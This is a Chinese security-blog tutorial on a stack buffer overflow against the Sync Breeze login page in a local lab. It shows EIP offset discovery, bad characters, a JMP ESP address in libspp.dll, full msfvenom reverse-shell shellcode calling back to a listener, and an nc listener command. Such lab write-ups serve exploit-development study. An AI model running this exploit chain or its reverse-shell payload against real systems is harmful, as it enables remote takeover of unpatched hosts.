一、前言
1、声明
来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!
2、测试环境
服务端软件:Sync Breeze Client(文件管理同步)
二、缓冲溢出攻击演示
1、登陆页面
http://127.0.0.1/login
2、修改登录框字符长度
3、python生成800个字符(脏字符)
python
print ("A" * 800) #输出800个A
4、将脏字符复制到输入框并登陆
5、查看攻击结果
三、调试器测试注入脏数据查看偏移量
1、调试器加载sync breeze enterprise进程
2、再次注入全部为A的脏字符数据
因为注入的是相同的数据,所以判断不到EIP的位置
注入随机脏数据找到EIP地址位置
所以我们需要使用kali去生成不同的脏数据以便我们进行判断位置
3、kali生成不同的脏数据
msf-pattern_create -l 800
# msf-pattern_create: 这是 Metasploit 中的一个工具,用于生成模式字符串。
# -l 800: 这个选项指定了生成的模式字符串的长度,这里是 800 字节。
# msf-pattern_create在oscp的考试中不受限的
4、再次注入用kali生成不同的脏字符数据(定位EIP的偏移量)
(后面我会用poc脚本去执行这个攻击操作就不再演示 )
5、kali查询eip偏移量
msf-pattern_offset -l 800 -q 42306142
由于Ba0B在调试器Debgger查询难度较大(太多了看的眼花)我们需要用到更精准方便查询的方法
6、再次注入用python生成更精准的脏字符数据
用780个A注入去进行填充,,这样除了A以外的脏字符就很容易找到了
python
print('A' * 780 + 'B' * 4 + 'C' * 4)
四、测试可以写入ESP寄存器的字符长度是否足够写入攻击payload
1、生成脏字符(计划2000字符测试)
python
print('A' * 780 + 'B' * 4 + 'C' * 4 + 'D' * 212 + 'E' * 200 + 'F' * 200 + 'G' * 200 + 'H' * 200 + 'I' * 200)
# 创建一个由780个A,4个B,4个C,212个E,200个F,200个G,200个H,200个I(共计2000)的字符串
2、再次注入脏字符(2000字符)
五、测试坏字符
一些字符如果插入进去会引起这个程序的崩溃,把所有16进制的字符利用脚本一个个测试,然后内存中会有一些安全机制,如果输入的字符被删掉,或者替换掉了,就说明这个是坏字符。
1、找到第一个出现的坏字符
2、去掉第一个找到的坏字符,继续排除
以此类推,我们排除了以下所有坏字符:
x00x0Ax0Dx25x26x2Bx3D
六、查找jmp esp指令的内存地址
利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp
jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。
esp:如前所述,指的是ESP寄存器的值,它当前指向堆栈的顶部。
1、kali转换jmp esp成16进制的操作数
msf-nasm_shell
jmp esp
# FFE4
2、调试器加载mona插件
3、调试器列出所有模块,并选择未启用安全机制的模块(例如libspp.dll)
!mona modules
4、筛选libspp.dll模块中包含 FFE4 (jmp esp)的地址
!mona find -s "xffxe4" -m "libspp.dll"
# !mona find: Mona 的 find 功能,用于在指定的模块中搜索特定的字节模式
# -s "xffxe4": 搜索的字节序列,这里是 jmp esp 指令的机器码,也是我们第一步jmp esp转换16进制。
# -m "libspp.dll": 指定要搜索的目标模块,这里是 libspp.dll。
10090C83 #复制出来的汇编命令地址,16进制需要在前面加一个0x
0x10090C83
5、汇编命令搜索jmp esp
0x10090C83 #第四步筛选出来地址
七、构造反弹shell
1、生成payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.60.128 LPORT=4444 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread
# -p windows/shell_reverse_tcp: 指定生成的 payload 类型为 Windows 平台的反向 TCP Shell。
# LHOST=192.168.60.128: 设置本地主机的 IP 地址,攻击者监听的地址。
# LPORT=4444: 设置本地主机监听的端口
# -f c: 指定输出格式为 C 语言源代码。
# -b "x00x0Ax0Dx25x26x2Bx3D": 排除指定的坏字符(null 字节、换行符、回车符、百分号、& 符号、加号、等号)。
# EXITFUNC=thread: 指定退出函数为线程方式,避免进程异常终止。
"xd9xcfxd9x74x24xf4xbbx9bxefxd6x95x5ex31xc9"
"xb1x52x83xeexfcx31x5ex13x03xc5xfcx34x60x05"
"xeax3bx8bxf5xebx5bx05x10xdax5bx71x51x4dx6c"
"xf1x37x62x07x57xa3xf1x65x70xc4xb2xc0xa6xeb"
"x43x78x9ax6axc0x83xcfx4cxf9x4bx02x8dx3exb1"
"xefxdfx97xbdx42xcfx9cx88x5ex64xeex1dxe7x99"
"xa7x1cxc6x0cxb3x46xc8xafx10xf3x41xb7x75x3e"
"x1bx4cx4dxb4x9ax84x9fx35x30xe9x2fxc4x48x2e"
"x97x37x3fx46xebxcax38x9dx91x10xccx05x31xd2"
"x76xe1xc3x37xe0x62xcfxfcx66x2cxccx03xaax47"
"xe8x88x4dx87x78xcax69x03x20x88x10x12x8cx7f"
"x2cx44x6fxdfx88x0fx82x34xa1x52xcbxf9x88x6c"
"x0bx96x9bx1fx39x39x30xb7x71xb2x9ex40x75xe9"
"x67xdex88x12x98xf7x4ex46xc8x6fx66xe7x83x6f"
"x87x32x03x3fx27xedxe4xefx87x5dx8dxe5x07x81"
"xadx06xc2xaax44xfdx85x14x30xc1xd5xfdx43x39"
"xc7xa1xcaxdfx8dx49x9bx48x3axf3x86x02xdbxfc"
"x1cx6fxdbx77x93x90x92x7fxdex82x43x70x95xf8"
"xc2x8fx03x94x89x02xc8x64xc7x3ex47x33x80xf1"
"x9exd1x3cxabx08xc7xbcx2dx72x43x1bx8ex7dx4a"
"xeexaax59x5cx36x32xe6x08xe6x65xb0xe6x40xdc"
"x72x50x1bxb3xdcx34xdaxffxdex42xe3xd5xa8xaa"
"x52x80xecxd5x5bx44xf9xaex81xf4x06x65x02x14"
"xe5xafx7fxbdxb0x3axc2xa0x42x91x01xddxc0x13"
"xfax1axd8x56xffx67x5ex8bx8dxf8x0bxabx22xf8"
"x19"
2、攻击机监听端口
nc -nlvvp 4444
# 启动监听服务,等待 Shell 连接
3、运行poc.py脚本反弹shell
原文始发于微信公众号(泷羽SEC-ohh):缓冲区溢出攻击及获取权限
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论